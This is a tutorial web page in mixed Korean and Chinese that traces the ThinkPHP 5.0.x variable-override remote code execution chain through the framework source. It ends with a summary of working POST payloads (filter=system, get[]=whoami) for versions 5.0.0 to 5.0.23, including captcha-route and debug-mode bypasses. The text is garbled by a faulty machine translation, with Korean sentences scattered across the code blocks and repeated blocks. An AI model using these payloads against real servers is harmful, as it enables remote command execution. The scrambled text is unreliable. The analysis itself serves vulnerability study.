thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해

藏色散人
풀어 주다: 2021-04-21 11:07:10
앞으로
2942명이 탐색했습니다.

다음 튜토리얼 칼럼인 thinkphp에서는 thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석을 소개하겠습니다. 도움이 필요한 친구들에게 도움이 되길 바랍니다!

Introduction

저는 항상 thinkphp5.0을 접합니다. 다음과 같은 몇 가지 차이점이 있습니다.

_method=__construct&filter=system&a=whoami
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&get[]=whoami
...
로그인 후 복사

페이로드는 맞는데 헷갈리고 왜인지 모르겠네요.
이러한 유형의 차이점은 무엇입니까?
각 매개변수의 기능은 무엇인가요?
왜 이런 일이 일어나는 걸까요?

Analytic

thinkphp에는 두 가지 버전이 있습니다. 하나는 핵심 버전이고 다른 하나는 정식 버전입니다. 간단히 말해서 핵심 버전에는 확인 코드 라이브러리와 같은 타사 라이브러리가 포함되어 있지 않습니다(강조 추가됨, 나중에 사용됨).

5.0.0부터 5.0.0에 적용 가능한 코드 실행 페이로드는 다음과 같습니다

POST /thinkphp5.0.0 HTTP/1.1

_method=__construct&filter=system&a=whoami&method=GET
로그인 후 복사

thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
_method=__construct가 필요한 이유_method=__construct
为什么 filter=system
为什么 a=whoami
为什么 method=GET

thinkphp的入口文件为public/index.php,如下。

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
로그인 후 복사

跟进thinkphp/start.php

// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();
로그인 후 복사

看到是调用的是App::run()执行应用。
跟进thinkphp/library/think/App.php下的run()函数。

    /**
     * 执行应用程序
     * @access public
     * @param Request $request Request对象
     * @return Response
     * @throws Exception
     */
    public static function run(Request $request = null)
    {
        ...

            // 获取应用调度信息
            $dispatch = self::$dispatch;
            if (empty($dispatch)) {
                // 进行URL路由检测
                $dispatch = self::routeCheck($request, $config);
            }
            // 记录当前调度信息
            $request->dispatch($dispatch);
        ...
     }
로그인 후 복사

run()函数中,会根据请求的信息调用self::routeCheck()函数,进行URL路由检测设置调度信息并赋值给$dispatch

    /**
     * URL路由检测(根据PATH_INFO)
     * @access public
     * @param  \think\Request $request
     * @param  array          $config
     * @return array
     * @throws \think\Exception
     */
    public static function routeCheck($request, array $config)
    {
        ...
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        ...
        return $result;
    }
로그인 후 복사

其中的Route::check()函数如下。

    /**
     * 检测URL路由
     * @access public
     * @param Request   $request Request请求对象
     * @param string    $url URL地址
     * @param string    $depr URL分隔符
     * @param bool      $checkDomain 是否检测域名规则
     * @return false|array
     */
    public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ...
        $method = $request->method();
        // 获取当前请求类型的路由规则
        $rules = self::$rules[$method];
        ...
로그인 후 복사

会调用$request->method()函数获取当前请求类型。

    /**
     * 当前的请求类型
     * @access public
     * @param bool $method  true 获取原始请求类型
     * @return string
     */
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
        ...
        return $this->method;
    }
로그인 후 복사

因为上面调用method()函数是没有传参的,所以这里$method = false,进入elseifvar_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method

// 表单请求类型伪装变量
'var_method'             => '_method',
로그인 후 복사

那么只要POST传递一个_method参数,即可进入下面的if,会执行

$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
로그인 후 복사

因此可通过指定_method来调用该类下的任意函数。
所以_method=__construct是为了调用thinkphp/library/think/Request.php下的__construct函数。需要注意的是这里同时也将Request类下的$method的值覆盖为__construct了,这个很重要,先记录下。

method => __construct
로그인 후 복사

那为啥要调用__construct函数完成攻击链,不是别的函数呢?
跟进函数,如下。

    /**
     * 架构函数
     * @access public
     * @param array $options 参数
     */
    public function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
    }
로그인 후 복사

上面调用__construct函数的时候把$_POST数组传进去了,也就是会用foreach遍历POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,而$name$item都是来自$_POST,完全可控,这里就存在一个变量覆盖的问题。filter=system&method=GET 作用就是把当前类下的$filter覆盖为system,$method覆盖为GET,当前变量情况:

method => __construct => GET
filter => system
로그인 후 복사

为什么要把method又覆盖一遍成GET?,因为前面在check()函数中有这么两行代码。

$method = $request->method();
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
로그인 후 복사

前面已经在method()函数中进行了变量覆盖,$method的值为__construct。而$rules的定义如下:

    private static $rules = [
        'GET'     => [],
        'POST'    => [],
        'PUT'     => [],
        'DELETE'  => [],
        'PATCH'   => [],
        'HEAD'    => [],
        'OPTIONS' => [],
        '*'       => [],
        'alias'   => [],
        'domain'  => [],
        'pattern' => [],
        'name'    => [],
    ];
로그인 후 복사

那么如果不再次覆盖$methodGET、POST、PUT等等,self::$rules[$method]就为self::$rules['__construct'],程序就得报错了嘛。

应用调度信息后获取完毕后,若开启了debug,则会记录路由和请求信息。这也是很重要的一点,先记录。

if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }
로그인 후 복사

再根据$dispatch类型的不同进入switch case处理。

            switch ($dispatch['type']) {
                case 'redirect':
                    // 执行重定向跳转
                    $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                    break;
                case 'module':
                    // 模块/控制器/操作
                    $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                    break;
                case 'controller':
                    // 执行控制器操作
                    $data = Loader::action($dispatch['controller']);
                    break;
                case 'method':
                    // 执行回调方法
                    $data = self::invokeMethod($dispatch['method']);
                    break;
                case 'function':
                    // 执行闭包
                    $data = self::invokeFunction($dispatch['function']);
                    break;
                case 'response':
                    $data = $dispatch['response'];
                    break;
                default:
                    throw new \InvalidArgumentException('dispatch type not support');
            }
로그인 후 복사

直接访问public/index.php默认调用的模块名/控制器名/操作名/index/index/index,具体定义在application/config.php filter=system</이 필요한 이유 code></p> 왜 <code>a=whoami🎜 왜 method=GET🎜🎜thinkphp의 항목파일은 public/index.php 입니다. 🎜

// 默认模块名
&#39;default_module&#39;         => &#39;index&#39;,
// 禁止访问模块
&#39;deny_module_list&#39;       => [&#39;common&#39;],
// 默认控制器名
&#39;default_controller&#39;     => &#39;Index&#39;,
// 默认操作名
&#39;default_action&#39;         => &#39;index&#39;,
로그인 후 복사
로그인 후 복사
🎜thinkphp/start.php로 후속 조치를 취하세요. 🎜
case &#39;module&#39;:
                    // 模块/控制器/操作
                    $data = self::module($dispatch[&#39;module&#39;], $config, isset($dispatch[&#39;convert&#39;]) ? $dispatch[&#39;convert&#39;] : null);
                    break;
로그인 후 복사
로그인 후 복사
🎜App::run()이 호출되어 애플리케이션을 실행하는지 확인하세요. 🎜 thinkphp/library/think/App.php 아래의 run() 함수를 따라가세요. 🎜
    /**
     * 执行模块
     * @access public
     * @param array $result 模块/控制器/操作
     * @param array $config 配置参数
     * @param bool  $convert 是否自动转换控制器和操作名
     * @return mixed
     */
    public static function module($result, $config, $convert = null)
    {
     ...
            $data = self::invokeMethod($call);
     ...
로그인 후 복사
로그인 후 복사
🎜run() 함수에서 요청된 정보에 따라 self::routeCheck() 함수가 호출되어 URL 라우팅 감지를 수행하고, 일정 정보를 설정합니다. $dispatch에 할당하세요. 🎜
   /**
     * 调用反射执行类的方法 支持参数绑定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   变量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        ...
        $args = self::bindParams($reflect, $vars);
        ...
    }
로그인 후 복사
로그인 후 복사
🎜 Route::check() 함수는 다음과 같습니다. 🎜
    /**
     * 绑定参数
     * @access public
     * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
     * @param array             $vars    变量
     * @return array
     */
    private static function bindParams($reflect, $vars = [])
    {
        if (empty($vars)) {
            // 自动获取请求变量
            if (Config::get(&#39;url_param_type&#39;)) {
                $vars = Request::instance()->route();
            } else {
                $vars = Request::instance()->param();
            }
        }
로그인 후 복사
로그인 후 복사
🎜는 $request->method() 함수를 호출하여 현재 요청 유형을 가져옵니다. 🎜
    /**
     * 设置获取获取当前请求的参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function param($name = &#39;&#39;, $default = null, $filter = null)
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case &#39;POST&#39;:
                    $vars = $this->post(false);
                    break;
                case &#39;PUT&#39;:
                case &#39;DELETE&#39;:
                case &#39;PATCH&#39;:
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->get(false), $vars, $this->route(false));
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = array_merge($this->param, $file);
            return $this->input($data, &#39;&#39;, $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }
로그인 후 복사
로그인 후 복사
🎜위에서 호출한 method() 함수에는 전달된 매개변수가 없으므로 여기서는 $method = false, elseif를 입력하세요. var_method는 양식 요청 유형 변장 변수이며 해당 값은 application/config.php에서 _method로 볼 수 있습니다. 🎜
a=whoami
aaaaa=whoami
get[]=whoami
route=whoami
로그인 후 복사
로그인 후 복사
🎜 그런 다음 POST가 _method 매개변수를 전달하는 한 다음 if를 입력하면 🎜
    /**
     * 获取变量 支持过滤和默认值
     * @param array         $data 数据源
     * @param string|false  $name 字段名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤函数
     * @return mixed
     */
    public function input($data = [], $name = &#39;&#39;, $default = null, $filter = null)
    {
        ...
        if (is_array($data)) {
            array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
        ...
    }
로그인 후 복사
로그인 후 복사
🎜가 실행됩니다. 따라서 _method</를 지정하여 이 클래스에서 모든 함수를 호출할 수 있습니다. 코드> . 🎜 따라서 <code>_method=__construct는 🎜thinkphp/library/think/Request.php🎜에서 __construct 함수를 호출하는 것입니다. Request 클래스 아래의 $method 값도 __construct로 덮어쓰여진다는 점에 유의해야 합니다. 이는 매우 중요하므로 먼저 기록해 두세요. . 🎜
/**
 * 递归过滤给定的值
 * @param mixed     $value 键值
 * @param mixed     $key 键名
 * @param array     $filters 过滤方法+默认值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
    ...
로그인 후 복사
로그인 후 복사
🎜그럼 공격 체인을 완성하기 위해 다른 함수가 아닌 __construct 함수를 호출해야 하는 이유는 무엇일까요? 🎜다음과 같은 후속 조치 기능이 있습니다. 🎜
_method=__construct&filter=system&a=whoami
로그인 후 복사
로그인 후 복사
🎜위의 __construct 함수를 호출할 때 $_POST 배열이 전달되었습니다. 이는 foreach가 데이터를 탐색하는 데 사용된다는 의미입니다. 🎜POST🎜에 의해 제출된 후 property_exists()를 사용하여 현재 클래스에 속성이 있는지 확인하고 속성이 있으면 값을 할당하고 $name $item은 모두 < code>$_POST에서 왔고 완전히 제어 가능하며 변수 범위에 문제가 있습니다. filter=system&method=GET의 기능은 현재 클래스 아래의 $filtersystem$method</code로 덮어쓰는 것입니다. >에서 <code>GET로, 현재 변수 상황: 🎜
    // 设置默认过滤机制
    $request->filter($config[&#39;default_filter&#39;]);
로그인 후 복사
로그인 후 복사
🎜method를 다시 GET로 덮어써야 하는 이유는 무엇인가요? , check() 함수에 두 줄의 코드가 있기 때문입니다. 🎜
// 记录路由和请求信息
            if (self::$debug) {
                Log::record(&#39;[ ROUTE ] &#39; . var_export($dispatch, true), &#39;info&#39;);
                Log::record(&#39;[ HEADER ] &#39; . var_export($request->header(), true), &#39;info&#39;);
                Log::record(&#39;[ PARAM ] &#39; . var_export($request->param(), true), &#39;info&#39;);
            }
로그인 후 복사
로그인 후 복사
🎜이전에는 method() 함수에서 변수 덮어쓰기가 수행되었으며 $method의 값은 __construct입니다. $rules의 정의는 다음과 같습니다. 🎜
\think\Route::get(&#39;captcha/[:id]&#39;, "\think\captcha\CaptchaController@index");
로그인 후 복사
🎜 그런 다음 $methodGET, POST, PUT 등으로 다시 재정의하지 않으면 self ::$rules[$ method]self::$rules['__construct']이며 프로그램은 오류를 보고합니다. 🎜🎜신청 일정 정보를 얻은 후 🎜debug🎜를 켜면 라우팅 및 요청 정보가 기록됩니다. 이것도 매우 중요하므로 먼저 기록해 두십시오. 🎜
POST /?s=captcha

_method=__construct&filter=system&method=GET&a=whoami
로그인 후 복사
로그인 후 복사
🎜그런 다음 $dispatch 유형에 따라 switch Case 처리를 입력하세요. 🎜
/**
 * 获取server参数
 * @access public
 * @param string|array  $name 数据名称
 * @param string        $default 默认值
 * @param string|array  $filter 过滤方法
 * @return mixed
 */
public function server($name = &#39;&#39;, $default = null, $filter = &#39;&#39;)
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
로그인 후 복사
로그인 후 복사
🎜public/index.php에 직접 액세스합니다. 기본 모듈 이름/컨트롤러 이름/작업 이름🎜이라고 불리는 것은 /index/index/index이며, 이는 특별히 정의되어 있습니다. < 코드 내부>application/config.php. 🎜
// 默认模块名
&#39;default_module&#39;         => &#39;index&#39;,
// 禁止访问模块
&#39;deny_module_list&#39;       => [&#39;common&#39;],
// 默认控制器名
&#39;default_controller&#39;     => &#39;Index&#39;,
// 默认操作名
&#39;default_action&#39;         => &#39;index&#39;,
로그인 후 복사
로그인 후 복사

因此对应的$dispatch[&#39;type&#39;]module,会调用module()函数,经过一系列的处理后返回数据到客户端。

case &#39;module&#39;:
                    // 模块/控制器/操作
                    $data = self::module($dispatch[&#39;module&#39;], $config, isset($dispatch[&#39;convert&#39;]) ? $dispatch[&#39;convert&#39;] : null);
                    break;
로그인 후 복사
로그인 후 복사

跟进module()函数,关键在invokeMethod()

    /**
     * 执行模块
     * @access public
     * @param array $result 模块/控制器/操作
     * @param array $config 配置参数
     * @param bool  $convert 是否自动转换控制器和操作名
     * @return mixed
     */
    public static function module($result, $config, $convert = null)
    {
     ...
            $data = self::invokeMethod($call);
     ...
로그인 후 복사
로그인 후 복사

invokeMethod()如下,跟进bindParams()

   /**
     * 调用反射执行类的方法 支持参数绑定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   变量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        ...
        $args = self::bindParams($reflect, $vars);
        ...
    }
로그인 후 복사
로그인 후 복사

bindParams()如下,跟进param()

    /**
     * 绑定参数
     * @access public
     * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
     * @param array             $vars    变量
     * @return array
     */
    private static function bindParams($reflect, $vars = [])
    {
        if (empty($vars)) {
            // 自动获取请求变量
            if (Config::get(&#39;url_param_type&#39;)) {
                $vars = Request::instance()->route();
            } else {
                $vars = Request::instance()->param();
            }
        }
로그인 후 복사
로그인 후 복사

这是关键点,param()函数是获取当前请求参数的。

    /**
     * 设置获取获取当前请求的参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function param($name = &#39;&#39;, $default = null, $filter = null)
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case &#39;POST&#39;:
                    $vars = $this->post(false);
                    break;
                case &#39;PUT&#39;:
                case &#39;DELETE&#39;:
                case &#39;PATCH&#39;:
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->get(false), $vars, $this->route(false));
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = array_merge($this->param, $file);
            return $this->input($data, &#39;&#39;, $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }
로그인 후 복사
로그인 후 복사

这里又会调用method()获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:

a=whoami
aaaaa=whoami
get[]=whoami
route=whoami
로그인 후 복사
로그인 후 복사

最后调用input()函数

    /**
     * 获取变量 支持过滤和默认值
     * @param array         $data 数据源
     * @param string|false  $name 字段名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤函数
     * @return mixed
     */
    public function input($data = [], $name = &#39;&#39;, $default = null, $filter = null)
    {
        ...
        if (is_array($data)) {
            array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
        ...
    }
로그인 후 복사
로그인 후 복사

input()函数中会通过filterValue()函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。

/**
 * 递归过滤给定的值
 * @param mixed     $value 键值
 * @param mixed     $key 键名
 * @param array     $filters 过滤方法+默认值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
    ...
로그인 후 복사
로그인 후 복사

通过call_user_func()完成任意代码执行,这也就是filter为什么要覆盖成system的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
这里多了一处判断,所以不加method=GET也不会报错,可以正常执行。

_method=__construct&filter=system&a=whoami
로그인 후 복사
로그인 후 복사

thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
测试到5.0.13版本,payload打过去没有反应,为什么?
thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。

    // 设置默认过滤机制
    $request->filter($config[&#39;default_filter&#39;]);
로그인 후 복사
로그인 후 복사

前面通过变量覆盖把$filter覆盖成了system,这里又把$filter给二次覆盖回去了,导致攻击链断了。

前面提到过如果开启了debug模式,很重要,为什么呢?

// 记录路由和请求信息
            if (self::$debug) {
                Log::record(&#39;[ ROUTE ] &#39; . var_export($dispatch, true), &#39;info&#39;);
                Log::record(&#39;[ HEADER ] &#39; . var_export($request->header(), true), &#39;info&#39;);
                Log::record(&#39;[ PARAM ] &#39; . var_export($request->param(), true), &#39;info&#39;);
            }
로그인 후 복사
로그인 후 복사

最后一句会调用param()函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter,进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param(),也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。
thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
filter是在module函数中被覆盖回去的,而执行module函数是根据$dispatch的类型来决定的,那是否能不走module函数,绕过这里的覆盖呢?
完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。

\think\Route::get(&#39;captcha/[:id]&#39;, "\\think\\captcha\\CaptchaController@index");
로그인 후 복사

其对应的dispatch类型为method,完美的避开了二次覆盖,路由限定了请求类型为get,所以在5.0.13开始,如果没有开debug,还可以调用第三方类库完成攻击链。

POST /?s=captcha

_method=__construct&filter=system&method=GET&a=whoami
로그인 후 복사
로그인 후 복사

thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
5.0.21版本开始,函数method()有所改动。
thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
通过server()函数获取请求方法,并且其中调用了input()函数。

/**
 * 获取server参数
 * @access public
 * @param string|array  $name 数据名称
 * @param string        $default 默认值
 * @param string|array  $filter 过滤方法
 * @return mixed
 */
public function server($name = &#39;&#39;, $default = null, $filter = &#39;&#39;)
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
로그인 후 복사
로그인 후 복사

前面分析过了,最后代码执行是进入input()中完成的,所以只要能进入server()函数也可以造成代码执行。

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
로그인 후 복사

param()函数是根据method()返回值来获取参数的,现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami任意参数名来传递了。

// 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
로그인 후 복사

在测试的时候发现只能通过覆盖get[]、route[]完成攻击,覆盖param[]却不行,调试后找到原因,原来是在route()函数里param[]又被二次覆盖了。

    /**
     * 设置获取路由参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function route($name = &#39;&#39;, $default = null, $filter = &#39;&#39;)
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }
로그인 후 복사
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&get[]=whoami
로그인 후 복사

thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해
或者

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&route[]=whoami
로그인 후 복사

thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해

总结

各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替换成get[]、route[]或者其他名字
로그인 후 복사

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]
로그인 후 복사

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]
로그인 후 복사

相关推荐:最新的10个thinkphp视频教程

위 내용은 thinkphp5.0.X 정식 버전의 변수 커버리지로 인한 RCE 분석에 대해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:csdn.net
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿